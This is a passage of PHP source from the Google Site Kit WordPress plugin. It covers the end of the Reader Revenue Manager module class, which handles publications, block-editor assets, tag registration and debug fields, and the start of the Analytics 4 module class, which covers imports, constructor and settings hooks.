$synchronize_publication, 'maybe_schedule_synchronize_publication' ) ); // Reader Revenue Manager tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); // If the publication ID changes, clear the dismissed state for product ID notifications. $this->get_settings()->on_change( function ( $old_value, $new_value ) { if ( $old_value['publicationID'] !== $new_value['publicationID'] ) { $dismissed_items = new Dismissed_Items( $this->user_options ); foreach ( self::PRODUCT_ID_NOTIFICATIONS as $notification ) { $dismissed_items->remove( $notification ); } } } ); } /** * Gets required Google OAuth scopes for the module. * * @since 1.130.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( 'https://www.googleapis.com/auth/subscribewithgoogle.publications.readonly', ); } /** * Sets up the Google services the module should use. * * This method is invoked once by {@see Module::get_service()} to lazily set up the services when one is requested * for the first time. * * @since 1.131.0 * * @param Google_Site_Kit_Client $client Google client instance. * @return array Google services as $identifier => $service_instance pairs. Every $service_instance must be an * instance of Google_Service. */ public function setup_services( Google_Site_Kit_Client $client ) { return array( 'subscribewithgoogle' => new Google_Service_SubscribewithGoogle( $client ), ); } /** * Checks whether the module is connected. * * @since 1.132.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $options = $this->get_settings()->get(); if ( ! empty( $options['publicationID'] ) ) { return true; } return false; } /** * Sets up the module's settings instance. * * @since 1.132.0 * * @return Module_Settings */ protected function setup_settings() { return new Settings( $this->options ); } /** * Cleans up when the module is deactivated. * * @since 1.132.0 */ public function on_deactivation() { $this->get_settings()->delete(); } /** * Checks if the current user has access to the current configured service entity. * * @since 1.131.0 * @since 1.134.0 Checks if the user's publications includes the saved publication. * * @return boolean|WP_Error */ public function check_service_entity_access() { /** * Get the SubscribewithGoogle service instance. * * @var Google_Service_SubscribewithGoogle */ $subscribewithgoogle = $this->get_service( 'subscribewithgoogle' ); try { $response = $subscribewithgoogle->publications->listPublications(); } catch ( Exception $e ) { if ( $e->getCode() === 403 ) { return false; } return $this->exception_to_error( $e ); } $publications = array_values( $response->getPublications() ); $settings = $this->get_settings()->get(); $publication_id = $settings['publicationID']; // Check if the $publications array contains a publication with the saved // publication ID. foreach ( $publications as $publication ) { if ( isset( $publication['publicationId'] ) && $publication_id === $publication['publicationId'] ) { return true; } } return false; } /** * Gets map of datapoint to definition data for each. * * @since 1.131.0 * * @return array Map of datapoints to their definitions. */ protected function get_datapoint_definitions() { return array( 'GET:publications' => array( 'service' => 'subscribewithgoogle', ), 'POST:sync-publication-onboarding-state' => array( 'service' => 'subscribewithgoogle', ), ); } /** * Creates a request object for the given datapoint. * * @since 1.131.0 * * @param Data_Request $data Data request object. * @return RequestInterface|callable|WP_Error Request object or callable on success, or WP_Error on failure. * * @throws Invalid_Datapoint_Exception|Missing_Required_Param_Exception Thrown if the datapoint does not exist or parameters are missing. */ protected function create_data_request( Data_Request $data ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:publications': /** * Get the SubscribewithGoogle service instance. * * @var Google_Service_SubscribewithGoogle */ $subscribewithgoogle = $this->get_service( 'subscribewithgoogle' ); return $subscribewithgoogle->publications->listPublications( array( 'filter' => $this->get_publication_filter() ) ); case 'POST:sync-publication-onboarding-state': if ( empty( $data['publicationID'] ) ) { throw new Missing_Required_Param_Exception( 'publicationID' ); } if ( empty( $data['publicationOnboardingState'] ) ) { throw new Missing_Required_Param_Exception( 'publicationOnboardingState' ); } $publications = $this->get_data( 'publications' ); if ( is_wp_error( $publications ) ) { return $publications; } if ( empty( $publications ) ) { return new WP_Error( 'publication_not_found', __( 'Publication not found.', 'google-site-kit' ), array( 'status' => 404 ) ); } $publication = array_filter( $publications, function ( $publication ) use ( $data ) { return $publication->getPublicationId() === $data['publicationID']; } ); if ( empty( $publication ) ) { return new WP_Error( 'publication_not_found', __( 'Publication not found.', 'google-site-kit' ), array( 'status' => 404 ) ); } $publication = reset( $publication ); $new_onboarding_state = $publication->getOnboardingState(); if ( $new_onboarding_state === $data['publicationOnboardingState'] ) { return function () { return (object) array(); }; } $settings = $this->get_settings(); if ( $data['publicationID'] === $settings->get()['publicationID'] ) { $settings->merge( array( 'publicationOnboardingState' => $new_onboarding_state, ) ); } return function () use ( $data, $new_onboarding_state ) { return (object) array( 'publicationID' => $data['publicationID'], 'publicationOnboardingState' => $new_onboarding_state, ); }; } return parent::create_data_request( $data ); } /** * Parses a response for the given datapoint. * * @since 1.131.0 * * @param Data_Request $data Data request object. * @param mixed $response Request response. * * @return mixed Parsed response data on success, or WP_Error on failure. */ protected function parse_data_response( Data_Request $data, $response ) { switch ( "{$data->method}:{$data->datapoint}" ) { case 'GET:publications': $publications = $response->getPublications(); return array_values( $publications ); } return parent::parse_data_response( $data, $response ); } /** * Sets up information about the module. * * @since 1.130.0 * * @return array Associative array of module info. */ protected function setup_info() { return array( 'slug' => self::MODULE_SLUG, 'name' => _x( 'Reader Revenue Manager', 'Service name', 'google-site-kit' ), 'description' => __( 'Reader Revenue Manager helps publishers grow, retain, and engage their audiences, creating new revenue opportunities', 'google-site-kit' ), 'homepage' => 'https://publishercenter.google.com', ); } /** * Gets the filter for retrieving publications for the current site. * * @since 1.131.0 * * @return string Permutations for site hosts or URL. */ private function get_publication_filter() { $sc_settings = $this->options->get( Search_Console_Settings::OPTION ); $sc_property_id = $sc_settings['propertyID']; if ( 0 === strpos( $sc_property_id, 'sc-domain:' ) ) { // Domain property. $host = str_replace( 'sc-domain:', '', $sc_property_id ); $filter = join( ' OR ', array_map( function ( $domain ) { return sprintf( 'domain = "%s"', $domain ); }, URL::permute_site_hosts( $host ) ) ); } else { // URL property. $filter = join( ' OR ', array_map( function ( $url ) { return sprintf( 'site_url = "%s"', $url ); }, URL::permute_site_url( $sc_property_id ) ) ); } return $filter; } /** * Sets up the module's assets to register. * * @since 1.131.0 * * @return Asset[] List of Asset objects. */ protected function setup_assets() { $base_url = $this->context->url( 'dist/assets/' ); $assets = array( new Script( 'googlesitekit-modules-reader-revenue-manager', array( 'src' => $base_url . 'js/googlesitekit-modules-reader-revenue-manager.js', 'dependencies' => array( 'googlesitekit-vendor', 'googlesitekit-api', 'googlesitekit-data', 'googlesitekit-modules', 'googlesitekit-notifications', 'googlesitekit-datastore-site', 'googlesitekit-datastore-user', 'googlesitekit-components', ), ) ), ); if ( Block_Support::has_block_support() && $this->is_connected() ) { $assets[] = new Script( 'blocks-reader-revenue-manager-block-editor-plugin', array( 'src' => $base_url . 'blocks/reader-revenue-manager/block-editor-plugin/index.js', 'dependencies' => array( 'googlesitekit-components', 'googlesitekit-data', 'googlesitekit-i18n', 'googlesitekit-modules', 'googlesitekit-modules-reader-revenue-manager', ), 'execution' => 'defer', 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), ) ); $assets[] = new Stylesheet( 'blocks-reader-revenue-manager-block-editor-plugin-styles', array( 'src' => $base_url . 'blocks/reader-revenue-manager/block-editor-plugin/editor-styles.css', 'dependencies' => array(), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), ) ); $assets[] = new Script( 'blocks-contribute-with-google', array( 'src' => $base_url . 'blocks/reader-revenue-manager/contribute-with-google/index.js', 'dependencies' => array( 'googlesitekit-components', 'googlesitekit-data', 'googlesitekit-i18n', 'googlesitekit-modules', 'googlesitekit-modules-reader-revenue-manager', ), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), 'execution' => 'defer', ) ); $assets[] = new Script( 'blocks-subscribe-with-google', array( 'src' => $base_url . 'blocks/reader-revenue-manager/subscribe-with-google/index.js', 'dependencies' => array( 'googlesitekit-components', 'googlesitekit-data', 'googlesitekit-i18n', 'googlesitekit-modules', 'googlesitekit-modules-reader-revenue-manager', ), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), 'execution' => 'defer', ) ); if ( $this->is_non_sitekit_user() ) { $assets[] = new Script( 'blocks-contribute-with-google-non-sitekit-user', array( 'src' => $base_url . 'blocks/reader-revenue-manager/contribute-with-google/non-site-kit-user.js', 'dependencies' => array( 'googlesitekit-i18n', ), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), 'execution' => 'defer', ) ); $assets[] = new Script( 'blocks-subscribe-with-google-non-sitekit-user', array( 'src' => $base_url . 'blocks/reader-revenue-manager/subscribe-with-google/non-site-kit-user.js', 'dependencies' => array( 'googlesitekit-i18n' ), 'load_contexts' => array( Asset::CONTEXT_ADMIN_POST_EDITOR ), 'execution' => 'defer', ) ); } $assets[] = new Stylesheet( 'blocks-reader-revenue-manager-common-editor-styles', array( 'src' => $base_url . 'blocks/reader-revenue-manager/common/editor-styles.css', 'dependencies' => array(), 'load_contexts' => array( Asset::CONTEXT_ADMIN_BLOCK_EDITOR ), ) ); } return $assets; } /** * Returns the Module_Tag_Matchers instance. * * @since 1.132.0 * * @return Module_Tag_Matchers Module_Tag_Matchers instance. */ public function get_tag_matchers() { return new Tag_Matchers(); } /** * Registers the Reader Revenue Manager tag. * * @since 1.132.0 */ public function register_tag() { $module_settings = $this->get_settings(); $settings = $module_settings->get(); $tag = new Web_Tag( $settings['publicationID'], self::MODULE_SLUG ); if ( $tag->is_tag_blocked() ) { return; } $tag->use_guard( new Tag_Verify_Guard( $this->context->input() ) ); $tag->use_guard( $this->tag_guard ); $tag->use_guard( new Tag_Environment_Type_Guard() ); if ( ! $tag->can_register() ) { return; } $product_id = $settings['productID']; $post_product_id = ''; if ( is_singular() ) { $post_product_id = $this->post_product_id->get( get_the_ID() ); if ( ! empty( $post_product_id ) ) { $product_id = $post_product_id; } } // Extract the product ID from the setting, which is in the format // of `publicationID:productID`. if ( 'openaccess' !== $product_id ) { $separator_index = strpos( $product_id, ':' ); if ( false !== $separator_index ) { $product_id = substr( $product_id, $separator_index + 1 ); } } $tag->set_product_id( $product_id ); $tag->register(); } /** * Checks if the current user is a non-Site Kit user. * * @since 1.150.0 * * @return bool True if the current user is a non-Site Kit user, false otherwise. */ private function is_non_sitekit_user() { return ! ( current_user_can( Permissions::VIEW_SPLASH ) || current_user_can( Permissions::VIEW_DASHBOARD ) ); } /** * Enqueues block assets for non-Site Kit users. * * This is used for enqueueing styles to ensure they are loaded in all block editor contexts including iframes. * * @since 1.150.0 * * @return void */ private function enqueue_block_assets_for_non_sitekit_user() { // Include a check for is_admin() to ensure the styles are only enqueued on admin screens. if ( is_admin() && $this->is_non_sitekit_user() ) { // Enqueue styles. $this->assets->enqueue_asset( 'blocks-reader-revenue-manager-common-editor-styles' ); } } /** * Enqueues block editor assets for non-Site Kit users. * * @since 1.150.0 * * @return void */ private function enqueue_block_editor_assets_for_non_sitekit_user() { if ( $this->is_non_sitekit_user() ) { // Enqueue scripts. $this->assets->enqueue_asset( 'blocks-contribute-with-google-non-sitekit-user' ); $this->assets->enqueue_asset( 'blocks-subscribe-with-google-non-sitekit-user' ); } } /** * Gets an array of debug field definitions. * * @since 1.132.0 * * @return array An array of all debug fields. */ public function get_debug_fields() { $settings = $this->get_settings()->get(); $snippet_mode_values = array( 'post_types' => __( 'Post types', 'google-site-kit' ), 'per_post' => __( 'Per post', 'google-site-kit' ), 'sitewide' => __( 'Sitewide', 'google-site-kit' ), ); $extract_product_id = function ( $product_id ) { $parts = explode( ':', $product_id ); return isset( $parts[1] ) ? $parts[1] : $product_id; }; $redact_pub_in_product_id = function ( $product_id ) { $parts = explode( ':', $product_id ); if ( isset( $parts[1] ) ) { return Debug_Data::redact_debug_value( $parts[0] ) . ':' . $parts[1]; } return $product_id; }; $debug_fields = array( 'reader_revenue_manager_publication_id' => array( 'label' => __( 'Reader Revenue Manager: Publication ID', 'google-site-kit' ), 'value' => $settings['publicationID'], 'debug' => Debug_Data::redact_debug_value( $settings['publicationID'] ), ), 'reader_revenue_manager_publication_onboarding_state' => array( 'label' => __( 'Reader Revenue Manager: Publication onboarding state', 'google-site-kit' ), 'value' => $settings['publicationOnboardingState'], 'debug' => $settings['publicationOnboardingState'], ), 'reader_revenue_manager_available_product_ids' => array( 'label' => __( 'Reader Revenue Manager: Available product IDs', 'google-site-kit' ), 'value' => implode( ', ', array_map( $extract_product_id, $settings['productIDs'] ) ), 'debug' => implode( ', ', array_map( $redact_pub_in_product_id, $settings['productIDs'] ) ), ), 'reader_revenue_manager_payment_option' => array( 'label' => __( 'Reader Revenue Manager: Payment option', 'google-site-kit' ), 'value' => $settings['paymentOption'], 'debug' => $settings['paymentOption'], ), 'reader_revenue_manager_snippet_mode' => array( 'label' => __( 'Reader Revenue Manager: Snippet placement', 'google-site-kit' ), 'value' => $snippet_mode_values[ $settings['snippetMode'] ], 'debug' => $settings['snippetMode'], ), 'reader_revenue_manager_product_id' => array( 'label' => __( 'Reader Revenue Manager: Product ID', 'google-site-kit' ), 'value' => $extract_product_id( $settings['productID'] ), 'debug' => $redact_pub_in_product_id( $settings['productID'] ), ), ); if ( 'post_types' === $settings['snippetMode'] ) { $debug_fields['reader_revenue_manager_post_types'] = array( 'label' => __( 'Reader Revenue Manager: Post types', 'google-site-kit' ), 'value' => implode( ', ', $settings['postTypes'] ), 'debug' => implode( ', ', $settings['postTypes'] ), ); } return $debug_fields; } /** * Gets an array of internal feature metrics. * * @since 1.163.0 * * @return array */ public function get_feature_metrics() { $settings = $this->get_settings()->get(); return array( 'rrm_publication_onboarding_state' => $settings['publicationOnboardingState'], ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4 * * @package Google\Site_Kit * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ // phpcs:disable Generic.Metrics.CyclomaticComplexity.MaxExceeded namespace Google\Site_Kit\Modules; use Exception; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Dismissals\Dismissed_Items; use Google\Site_Kit\Core\Modules\Analytics_4\Tag_Matchers; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Modules\Module_With_Activation; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Data_Available_State; use Google\Site_Kit\Core\Modules\Module_With_Data_Available_State_Trait; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data; use Google\Site_Kit\Core\Modules\Module_With_Inline_Data_Trait; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\Modules\Module_With_Service_Entity; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Datapoint_Exception; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Invalid_Param_Exception; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Tags\Guards\Tag_Environment_Type_Guard; use Google\Site_Kit\Core\Tags\Guards\Tag_Verify_Guard; use Google\Site_Kit\Core\Util\BC_Functions; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\Sort; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\AdSense\Settings as AdSense_Settings; use Google\Site_Kit\Modules\Analytics_4\Account_Ticket; use Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; use Google\Site_Kit\Modules\Analytics_4\AMP_Tag; use Google\Site_Kit\Modules\Analytics_4\Custom_Dimensions_Data_Available; use Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Account_Ticket; use Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Property; use Google\Site_Kit\Modules\Analytics_4\Datapoints\Create_Webdatastream; use Google\Site_Kit\Modules\Analytics_4\Synchronize_Property; use Google\Site_Kit\Modules\Analytics_4\Synchronize_AdSenseLinked; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\AccountProvisioningService; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\EnhancedMeasurementSettingsModel; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\PropertiesAdSenseLinksService; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\PropertiesAudiencesService; use Google\Site_Kit\Modules\Analytics_4\GoogleAnalyticsAdmin\PropertiesEnhancedMeasurementService; use Google\Site_Kit\Modules\Analytics_4\Report\Request as Analytics_4_Report_Request; use Google\Site_Kit\Modules\Analytics_4\Report\Response as Analytics_4_Report_Response; use Google\Site_Kit\Modules\Analytics_4\Resource_Data_Availability_Date; use Google\Site_Kit\Modules\Analytics_4\Settings; use Google\Site_Kit\Modules\Analytics_4\Synchronize_AdsLinked; use Google\Site_Kit\Modules\Analytics_4\Tag_Guard; use Google\Site_Kit\Modules\Analytics_4\Tag_Interface; use Google\Site_Kit\Modules\Analytics_4\Web_Tag; use Google\Site_Kit_Dependencies\Google\Model as Google_Model; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData as Google_Service_AnalyticsData; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\RunReportRequest as Google_Service_AnalyticsData_RunReportRequest; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\DateRange as Google_Service_AnalyticsData_DateRange; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Dimension as Google_Service_AnalyticsData_Dimension; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Metric as Google_Service_AnalyticsData_Metric; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin as Google_Service_GoogleAnalyticsAdmin; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1alphaAudience; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaCustomDimension; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaDataStream; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaDataStreamWebStreamData; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaListDataStreamsResponse; use Google\Site_Kit_Dependencies\Google\Service\GoogleAnalyticsAdmin\GoogleAnalyticsAdminV1betaProperty as Google_Service_GoogleAnalyticsAdmin_GoogleAnalyticsAdminV1betaProperty; use Google\Site_Kit_Dependencies\Google\Service\TagManager as Google_Service_TagManager; use Google\Site_Kit_Dependencies\Google_Service_TagManager_Container; use Google\Site_Kit_Dependencies\Psr\Http\Message\RequestInterface; use Google\Site_Kit\Core\REST_API\REST_Routes; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Core\Util\Feature_Flags; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings; use Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Cron; use Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Events_Sync; use Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_New_Badge_Events_Sync; use Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Provider; use Google\Site_Kit\Modules\Analytics_4\Reset_Audiences; use stdClass; use WP_Error; use WP_Post; /** * Class representing the Analytics 4 module. * * @since 1.30.0 * @access private * @ignore */ final class Analytics_4 extends Module implements Module_With_Inline_Data, Module_With_Scopes, Module_With_Settings, Module_With_Debug_Fields, Module_With_Owner, Module_With_Assets, Module_With_Service_Entity, Module_With_Activation, Module_With_Deactivation, Module_With_Data_Available_State, Module_With_Tag, Provides_Feature_Metrics { use Method_Proxy_Trait; use Module_With_Assets_Trait; use Module_With_Owner_Trait; use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Module_With_Data_Available_State_Trait; use Module_With_Tag_Trait; use Module_With_Inline_Data_Trait; use Feature_Metrics_Trait; const PROVISION_ACCOUNT_TICKET_ID = 'googlesitekit_analytics_provision_account_ticket_id'; const READONLY_SCOPE = 'https://www.googleapis.com/auth/analytics.readonly'; const EDIT_SCOPE = 'https://www.googleapis.com/auth/analytics.edit'; /** * Module slug name. */ const MODULE_SLUG = 'analytics-4'; /** * Prefix used to fetch custom dimensions in reports. */ const CUSTOM_EVENT_PREFIX = 'customEvent:'; /** * Custom dimensions tracked by Site Kit. */ const CUSTOM_DIMENSION_POST_AUTHOR = 'googlesitekit_post_author'; const CUSTOM_DIMENSION_POST_CATEGORIES = 'googlesitekit_post_categories'; /** * Weights for audience types when sorting audiences in the selection panel * and within the dashboard widget. */ const AUDIENCE_TYPE_SORT_ORDER = array( 'USER_AUDIENCE' => 0, 'SITE_KIT_AUDIENCE' => 1, 'DEFAULT_AUDIENCE' => 2, ); /** * Custom_Dimensions_Data_Available instance. * * @since 1.113.0 * @var Custom_Dimensions_Data_Available */ protected $custom_dimensions_data_available; /** * Reset_Audiences instance. * * @since 1.137.0 * @var Reset_Audiences */ protected $reset_audiences; /** * Resource_Data_Availability_Date instance. * * @since 1.127.0 * @var Resource_Data_Availability_Date */ protected $resource_data_availability_date; /** * Audience_Settings instance. * * @since 1.148.0 * * @var Audience_Settings */ protected $audience_settings; /** * Constructor. * * @since 1.113.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { parent::__construct( $context, $options, $user_options, $authentication, $assets ); $this->custom_dimensions_data_available = new Custom_Dimensions_Data_Available( $this->transients ); $this->reset_audiences = new Reset_Audiences( $this->user_options ); $this->audience_settings = new Audience_Settings( $this->options ); $this->resource_data_availability_date = new Resource_Data_Availability_Date( $this->transients, $this->get_settings(), $this->audience_settings ); } /** * Registers functionality through WordPress hooks. * * @since 1.30.0 * @since 1.101.0 Added a filter hook to add the required `https://www.googleapis.com/auth/tagmanager.readonly` scope for GTE support. */ public function register() { $this->register_scopes_hook(); $this->register_inline_data(); $this->register_feature_metrics(); $synchronize_property = new Synchronize_Property( $this, $this->user_options ); $synchronize_property->register(); $synchronize_adsense_linked = new Synchronize_AdSenseLinked( $this, $this->user_options, $this->options ); $synchronize_adsense_linked->register(); $synchronize_ads_linked = new Synchronize_AdsLinked( $this, $this->user_options ); $synchronize_ads_linked->register(); $conversion_reporting_provider = new Conversion_Reporting_Provider( $this->context, $this->settings, $this->user_options, $this ); $conversion_reporting_provider->register(); $this->audience_settings->register(); ( new Advanced_Tracking( $this->context ) )->register(); add_action( 'admin_init', array( $synchronize_property, 'maybe_schedule_synchronize_property' ) ); add_action( 'admin_init', array( $synchronize_adsense_linked, 'maybe_schedule_synchronize_adsense_linked' ) ); add_action( 'load-toplevel_page_googlesitekit-dashboard', array( $synchronize_ads_linked, 'maybe_schedule_synchronize_ads_linked' ) ); add_action( 'admin_init', $this->get_method_proxy( 'handle_provisioning_callback' ) ); // For non-AMP and AMP. add_action( 'wp_head', $this->get_method_proxy( 'print_tracking_opt_out' ), 0 ); // For Web Stories plugin. add_action( 'web_stories_story_head', $this->get_method_proxy( 'print_tracking_opt_out' ), 0 ); // Analytics 4 tag placement logic. add_action( 'template_redirect', array( $this, 'register_tag' ) ); $this->audience_settings->on_change( function ( $old_value, $new_value ) { // Ensure that the resource data availability dates for `availableAudiences` that no longer exist are reset. $old_available_audiences = $old_value['availableAudiences']; if ( $old_available_audiences ) { $old_available_audience_names = array_map( function ( $audience ) { return $audience['name']; }, $old_available_audiences ); $new_available_audiences = $new_value['availableAudiences'] ?? array(); $new_available_audience_names = array_map( function ( $audience ) { return $audience['name']; }, $new_available_audiences ); $unavailable_audience_names = array_diff( $old_available_audience_names, $new_available_audience_names ); foreach ( $unavailable_audience_names as $unavailable_audience_name ) { $this->resource_data_availability_date->reset_resource_date( $unavailable_audience_name, Resource_Data_Availability_Date::RESOURCE_TYPE_AUDIENCE ); } } } ); $this->get_settings()->on_change( function ( $old_value, $new_value ) { // Ensure that the data available state is reset when the property ID or measurement ID changes. if ( $old_value['propertyID'] !== $new_value['propertyID'] || $old_value['measurementID'] !== $new_value['measurementID'] ) { $this->reset_data_available(); $this->custom_dimensions_data_available->reset_data_available(); $audience_settings = $this->audience_settings->get(); $available_audiences = $audience_settings['availableAudiences'] ?? array(); $available_audience_names = array_map( function ( $audience ) { return $audience['name']; }, $available_audiences ); $this->resource_data_availability_date->reset_all_resource_dates( $available_audience_names, $old_value['propertyID'] ); } // Reset property specific settings when propertyID changes. if ( $old_value['propertyID'] !== $new_value['propertyID'] ) { $this->get_settings()->merge( array( 'adSenseLinked' => false, 'adSenseLinkedLastSyncedAt' => 0, 'adsLinked' => false, 'adsLinkedLastSyncedAt' => 0, 'detectedEvents' => array(), ) ); $this->audience_settings->delete(); if ( ! empty( $new_value['propertyID'] ) ) { do_action( Synchronize_AdSenseLinked::CRON_SYNCHRONIZE_ADSENSE_LINKED ); // Reset event detection and new badge events. $this->transients->delete( Conversion_Reporting_Events_Sync::DETECTED_EVENTS_TRANSIENT ); $this->transients->delete( Conversion_Reporting_Events_Sync::LOST_EVENTS_TRANSIENT ); $this->transients->delete( Conversion_Reporting_New_Badge_Events_Sync::NEW_EVENTS_BADGE_TRANSIENT ); $this->transients->set( Conversion_Reporting_New_Badge_Events_Sync::SKIP_NEW_BADGE_TRANSIENT, 1 ); do_action( Conversion_Reporting_Cron::CRON_ACTION ); } // Reset audience specific settings. $this->reset_audiences->reset_audience_data(); } } ); // Check if the property ID has changed and reset applicable settings to null. // // This is not done using the `get_settings()->merge` method because // `Module_Settings::merge` doesn't support setting a value to `null`. add_filter( 'pre_update_option_googlesitekit_analytics-4_settings', function ( $new_value, $old_value ) { if ( $new_value['propertyID'] !== $old_value['propertyID'] ) { $new_value['availableCustomDimensions'] = null; } return $new_value; }, 10, 2 ); add_filter( 'googlesitekit_auth_scopes', function ( array $scopes ) { $oauth_client = $this->authentication->get_oauth_client(); $needs_tagmanager_scope = false; $refined_scopes = $this->get_refined_scopes( $scopes ); if ( $oauth_client->has_sufficient_scopes( array_merge( $refined_scopes, array( 'https://www.googleapis.com/auth/tagmanager.readonly', ), ) ) ) { $needs_tagmanager_scope = true; // Ensure the Tag Manager scope is not added as a required scope in the case where the user has // granted the Analytics scope but not the Tag Manager scope, in order to allow the GTE-specific // Unsatisfied Scopes notification to be displayed without the Additional Permissions Required // modal also appearing. } elseif ( ! $oauth_client->has_sufficient_scopes( $refined_scopes ) ) { $needs_tagmanager_scope = true; } if ( $needs_tagmanager_scope ) { $refined_scopes[] = 'https://www.googleapis.com/auth/tagmanager.readonly'; } return $refined_scopes; } ); add_filter( 'googlesitekit_allow_tracking_disabled', $this->get_method_proxy( 'filter_analytics_allow_tracking_disabled' ) ); // This hook adds the "Set up Google Analytics" step to the Site Kit // setup flow. // // This filter is documented in // Core\Authentication\Google_Proxy::get_metadata_fields. add_filter( 'googlesitekit_proxy_setup_mode', function ( $original_mode ) { return ! $this->is_connected() ? 'analytics-step' : $original_mode; } ); // Preload the path to avoid layout shift for audience setup CTA banner. add_filter( 'googlesitekit_apifetch_preload_paths', function ( $routes ) { return array_merge( $routes, array( '/' . REST_Routes::REST_ROOT . '/modules/analytics-4/data/audience-settings', ) ); } ); add_filter( 'googlesitekit_ads_measurement_connection_checks', function ( $checks ) { $checks[] = array( $this, 'check_ads_measurement_connection' ); return $checks; }, 20 ); } /** * Checks if the Analytics 4 module is connected and contributing to Ads measurement. * * Verifies connection status and settings to determine if Ads-related configurations * (AdSense linked or Google Tag Container with AW- destination IDs) exist. * * @since 1.151.0 * * @return bool True if Analytics 4 is connected and configured for Ads measurement; false otherwise. */ public function check_ads_measurement_connection() { if ( ! $this->is_connected() ) { return false; } $settings = $this->get_settings()->get(); if ( $settings['adsLinked'] ) { return true; } foreach ( (array) $settings['googleTagContainerDestinationIDs'] as $destination_id ) { if ( 0 === stripos( $destination_id, 'AW-' ) ) { return true; } } return false; } /** * Gets required Google OAuth scopes for the module. * * @since 1.30.0 * * @return array List of Google OAuth scopes. */ public function get_scopes() { return array( self::READONLY_SCOPE ); } /** * Checks whether the module is connected. * * A module being connected means that all steps required as part of its activation are completed. * * @since 1.30.0 * * @return bool True if module is connected, false otherwise. */ public function is_connected() { $required_keys = array( 'accountID', 'propertyID', 'webDataStreamID', 'measurementID', ); $options = $this->get_settings()->get(); foreach ( $required_keys as $required_key ) { if ( empty( $options[ $required_key ] ) ) { return false; } } return parent::is_connected(); } /** * Cleans up when the module is activated. * * @since 1.107.0 */ public function on_activation() { 